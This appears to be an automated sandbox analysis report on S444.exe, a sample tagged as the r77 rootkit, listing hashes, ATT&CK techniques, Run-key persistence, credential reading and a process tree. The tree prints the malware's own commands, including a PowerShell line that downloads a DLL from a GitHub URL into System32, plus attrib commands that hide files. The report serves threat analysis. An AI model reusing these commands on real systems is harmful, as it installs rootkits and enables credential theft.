r77 | e73c96538ec60c2117b6ed82b7f95f8894abed022ee9ab03c1be90ebd9722f06

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 23:08

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General

Target

S444.exe
Size

33KB
MD5

17e158e0f91dcc8168f2e416035926ed
SHA1

aac8bf1174db86568aab282b8a8de953c372ef1e
SHA256

bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b
SHA512

383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c
SSDEEP

768:WdQHdYES3hnpwEC/uc/zBaP09K737hNWhlLF:W7x8zgs9W37hMPJ

Score

10^/10

r77 discovery evasion execution persistence privilege_escalation rootkit spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

R77 family
r77
r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 1 IoCs

Detects the payload of the r77 rootkit.

resource	yara_rule
behavioral4/files/0x000a000000023b80-48.dat	r77_payload

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	4580	powershell.exe
20	4580	powershell.exe

Downloads MZ/PE file
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1900	attrib.exe
2008	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	S444.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	$77-System32.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe

Executes dropped EXE 1 IoCs

pid	Process
2652	$77-System32.exe

Loads dropped DLL 1 IoCs

pid	Process
1544	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4580	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-System32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S444.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2652	$77-System32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe
Token: 33	2652	$77-System32.exe
Token: SeIncBasePriorityPrivilege	2652	$77-System32.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 1752	4388	S444.exe	85
PID 4388 wrote to memory of 1752	4388	S444.exe	85
PID 4388 wrote to memory of 1752	4388	S444.exe	85
PID 1752 wrote to memory of 2008	1752	cmd.exe	87
PID 1752 wrote to memory of 2008	1752	cmd.exe	87
PID 1752 wrote to memory of 2008	1752	cmd.exe	87
PID 4388 wrote to memory of 2652	4388	S444.exe	88
PID 4388 wrote to memory of 2652	4388	S444.exe	88
PID 4388 wrote to memory of 2652	4388	S444.exe	88
PID 2652 wrote to memory of 112	2652	$77-System32.exe	96
PID 2652 wrote to memory of 112	2652	$77-System32.exe	96
PID 2652 wrote to memory of 112	2652	$77-System32.exe	96
PID 112 wrote to memory of 1900	112	cmd.exe	98
PID 112 wrote to memory of 1900	112	cmd.exe	98
PID 112 wrote to memory of 1900	112	cmd.exe	98
PID 2652 wrote to memory of 4668	2652	$77-System32.exe	99
PID 2652 wrote to memory of 4668	2652	$77-System32.exe	99
PID 2652 wrote to memory of 4668	2652	$77-System32.exe	99
PID 4668 wrote to memory of 4580	4668	cmd.exe	101
PID 4668 wrote to memory of 4580	4668	cmd.exe	101
PID 4668 wrote to memory of 4580	4668	cmd.exe	101

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2008	attrib.exe
1900	attrib.exe

C:\Users\Admin\AppData\Local\Temp\S444.exe
"C:\Users\Admin\AppData\Local\Temp\S444.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2008
- C:\System32\$77-System32.exe
  "C:\System32\$77-System32.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\System32\$77-System32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:112
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\System32\$77-System32.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','\System32\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\System32\$77-System32.exe

Filesize
33KB

MD5
17e158e0f91dcc8168f2e416035926ed

SHA1
aac8bf1174db86568aab282b8a8de953c372ef1e

SHA256
bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b

SHA512
383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c

Download Submit
C:\System32\r77-x64.dll

Filesize
147KB

MD5
1b8bd653321cf3cbc786e563555fbc75

SHA1
5638efe0476c8c1b74c6604db419be814d1d90a0

SHA256
919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7

SHA512
bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b

Download Submit
C:\Users\Admin\AppData\Local\Temp\0znvku5p.le1

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Rot.bat

Filesize
229B

MD5
5623353a38611880912397750358a0cf

SHA1
1abfda3058cae5b11da3e6551fbec2eb354a25d3

SHA256
4b97706d98357279a5f3f1c720f384a47d020a1fbb6aac5460e1d87786aba86c

SHA512
78b78820ce33341f40f71924087d255b6ec74472bb22562a2bfadf5f090662c691d5a293f5f8148477f414cf7f38c53c490b595489d79966d944dfe73097f0fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dsoegfpj.vdf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2652-55-0x0000000006B00000-0x0000000006B0A000-memory.dmp

Filesize
40KB

Download
memory/2652-57-0x00000000064A0000-0x00000000064AA000-memory.dmp

Filesize
40KB

Download
memory/2652-44-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/2652-19-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/2652-20-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/2652-56-0x0000000006420000-0x000000000642E000-memory.dmp

Filesize
56KB

Download
memory/2652-54-0x0000000006B30000-0x0000000006BC2000-memory.dmp

Filesize
584KB

Download
memory/2652-60-0x0000000007880000-0x0000000007918000-memory.dmp

Filesize
608KB

Download
memory/2652-63-0x0000000007C30000-0x0000000007F84000-memory.dmp

Filesize
3.3MB

Download
memory/2652-62-0x0000000007BE0000-0x0000000007C30000-memory.dmp

Filesize
320KB

Download
memory/2652-61-0x0000000007AF0000-0x0000000007B84000-memory.dmp

Filesize
592KB

Download
memory/4388-3-0x00000000057E0000-0x000000000587C000-memory.dmp

Filesize
624KB

Download
memory/4388-5-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/4388-1-0x0000000000D20000-0x0000000000D2E000-memory.dmp

Filesize
56KB

Download
memory/4388-4-0x0000000005710000-0x0000000005776000-memory.dmp

Filesize
408KB

Download
memory/4388-0-0x000000007532E000-0x000000007532F000-memory.dmp

Filesize
4KB

Download
memory/4388-18-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/4388-2-0x0000000005D90000-0x0000000006334000-memory.dmp

Filesize
5.6MB

Download
memory/4580-27-0x0000000005350000-0x0000000005978000-memory.dmp

Filesize
6.2MB

Download
memory/4580-43-0x00000000066C0000-0x00000000066DA000-memory.dmp

Filesize
104KB

Download
memory/4580-42-0x00000000077D0000-0x0000000007E4A000-memory.dmp

Filesize
6.5MB

Download
memory/4580-41-0x0000000006240000-0x000000000628C000-memory.dmp

Filesize
304KB

Download
memory/4580-40-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/4580-39-0x0000000005BD0000-0x0000000005F24000-memory.dmp

Filesize
3.3MB

Download
memory/4580-29-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Filesize
408KB

Download
memory/4580-28-0x00000000051E0000-0x0000000005202000-memory.dmp

Filesize
136KB

Download
memory/4580-26-0x00000000028B0000-0x00000000028E6000-memory.dmp

Filesize
216KB

Download